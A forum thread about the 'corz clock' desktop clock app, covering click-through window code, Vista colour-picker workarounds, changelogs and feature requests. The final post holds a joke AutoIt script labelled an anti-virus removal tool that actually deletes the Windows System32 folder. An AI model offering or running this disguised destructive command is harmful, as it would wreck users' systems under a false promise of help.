Jump to content

corz clock.. I made it my own!


corz
 Share

Recommended Posts

Yup, even at 99% transparency (effectively invisible) it would still be impossible to click a button underneath it. If you click the tray icon, though, you can toggle it quickly. But it's nowhere near so bad as having that Vista sidebar take up a quarter of your screen! :)

Beta, eh! I usually use the Beta myself for developing, but compile final apps with the release version, thinking it should be more stable on more platforms. Clearly I need to review this policy! Thanks for the prompt info!

;o)

(or

Edited by corz

nothing is foolproof to the sufficiently talented fool..

Link to comment
Share on other sites

I don't remember how it is in AutoIt, but this works in C++ to allow windows to be clicked-through. I used it as a context/tray menu toggle. It might be useful for you.

if ( isClickable )
{
    SetWindowLong ( hWnd, GWL_EXSTYLE, GetWindowLong ( hWnd, GWL_EXSTYLE ) | WS_EX_TRANSPARENT );
}
else
{
    SetWindowLong ( hWnd, GWL_EXSTYLE, GetWindowLong ( hWnd, GWL_EXSTYLE ) ^ WS_EX_TRANSPARENT );
}
isClickable = !isClickable;
Link to comment
Share on other sites

I don't know how I might use this, but it looks like it might be possible to wiggle a dll some, and get this effect. Hmm. Thanks! I'll definitely look into this, because it would be a killer feature, perhaps Ctrl-click to click through, or something like that.

By the way, I keep my own clock quite small, in the bottom-right of my desktop, where it rarely gets in front of anything, and I can still get to all my toolbar sub-menus around its sides.

;o)

(or

nothing is foolproof to the sufficiently talented fool..

Link to comment
Share on other sites

I just thought of something related to the clock and the click-through option. If you are considering implementing the option, keep reading.

I would suggest that it is not used with a modifier key. Take this for example: suppose I have the clock enlarged (full-screen-ish, just for the sake of the story), and I want to be able to click through it and deal with the files and such in a folder behind the clock. If I'm currently pressing Ctrl or Alt or Shift or any combination, the action that I might want to take on the files will be affected by the modifier key used to toggle the click-through. In other words, you would want to be able to have those keys free to interact with the screen behind the clock (as if it wasn't there). Long story short, this is why it's a good reason for it to be a toggle from the tray (or something similar).

Link to comment
Share on other sites

Yup, I have been considering this, and the "modifier problem" is the exact reason I haven't done anything about it! I also considered a delay (hover the mouse over the clock and do nothing for three seconds, and it shifts to the lowest z-index) or double-click the clock face to toggle the show/hide the clock; but trying to replicate a decent double-click in AutoIt seems beyond me (there is no event for it!!!). The nearest I've gotten so far is actually inside clock; in the exclusions list (alarm prefs); double-click one of the entries to move it to the edit box. But it's not pretty!

I like the current tray-click method (in fact, I use it in pretty much all my apps) so I'm gonna leave it like that until I can figure out something better. By the way; I've noticed that the on-top setting seems to drift away over time. After many hours I often find my clock isn't on top any more. Weird.

Thanks for the input greenmachine, it's great to have you still in the loop on this one!

;o)

(or

nothing is foolproof to the sufficiently talented fool..

Link to comment
Share on other sites

2.6

    *   The Vista work-around release.

        If you are running Vista, clock will give you the option to disable the
        color pickin chooser, and instead, you'll get the system color picker.

        This is a stop-gap measure until I can make the time to figure out how
        to disable desktop compositioning for the duration of the chooser's
        activity. The fix will probably be in cpc itself.

        I don't think the Vista GetPixel bug will ever be fixed, in fact, in all
        fairness to Microsoft, I don't believe it's a bug at all. On closer
        investigation, it turns out (I am so out of the OS hype-loop!) Vista
        uses a vector-based window manager, like Mac OS X (good!), and rendering
        all those layers as a bitmap is always gonna take time, no matter how
        brilliant your code is. In a tight loop, it's inevitable that this will
        equate to "a LOT of time".

        However, I do believe that the PixelGetColor() AutoIt manual page should
        fully detail this issue, and provide a working code example of how to
        disable/enable desktop compositioning, using dllcall + dwmapi.dll (I'm
        guessing), something I'm gonna have to figure out, when I get a chance -
        and I have a mental block with DLL calls, as it is!

        It would prolly take those clever AutoIt dudes SECONDS. Och well.


    2.5.2

    *   fixed a bug where dragging wav files onto alert inputs was saving only
        the basename of the wav, and not the entire path, so when you tried to
        play them, it would fail.
    

    2.5.1

    *   maintenance release - non-code improvements only.

        There are still issues with mag speed under Vista with Aero running - if
        you want to use the color chooser, you need to be running a classic or
        "standard" theme.

;o)

(or

nothing is foolproof to the sufficiently talented fool..

Link to comment
Share on other sites

  • 2 weeks later...

Cor,

Your clock is very cool! :)

I was wondering, is there any way to define a global hotkey to display and hide the clock? Alternatively, is there any way to have a global hotkey that displays the clock for several seconds (ideally user definable) and then it disappears? I saw in the code where you can toggle the clock's displaying based on clicking on the tray icon, but I can't figure out how to make a global hotkey do that.

I'd like to assign the hotkey to a button on my PC Remote so that I can see the clock when watching a movie. Ideally, when the clock toggles into view it won't steal focus or cause the taskbar to appear (if I am watching a movie in fullscreen). Currently, if I start the clock script via a button on the remote VLC loses focus and the task bar becomes visible (I was trying to see if I could simulate a toggle effect by just calling the script and then killing, but because of the focus and taskbar issues it doesn't do what I want).

Also, while I am wishing for things, it would be nifty to have a digital clock too (and be able to turn the analog off, or the digital off, or have both, like with this software: http://www.softdemon.com/freeclock/index.html ; the stupid think about softdemon's clock is that it won't run at all unless it is aloud to register itself in the windows startup session; also, there is no way to toggle it's display). My wife really likes analog clocks, but I tend to prefer digital.

Thanks again for a great clock, and thanks for your consideration of my ideas!

<_<

Link to comment
Share on other sites

  • 5 months later...

Thanks!

I have considered a digital version (it's in the readme, isn't it?) but haven't had a chance to implement it.

A hotkey for show/hide sounds cool, especially as the on-top status can sometimes drift away. Whether or not such a hotkey would leave your movie running at fullscreen is another matter. I have lots of desktop macros, for volume settings and such, and guaranteed, activating any of them drops my movie back to a window.

I'll certainly have a look into this, though, the next time I'm inside the clock code.

;o)

(or

nothing is foolproof to the sufficiently talented fool..

Link to comment
Share on other sites

No. But it does remember where your user folder is, for your own preferences (multiple users on one machine can setup their clocks differently).

As for the rest; it's a clock; it has no need to know your name or login details.

;o)

(or

nothing is foolproof to the sufficiently talented fool..

Link to comment
Share on other sites

  • 1 month later...

This looks really really nice! However, I cannot remove myself from my Flash clock...

Flash_Clock.bmp

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...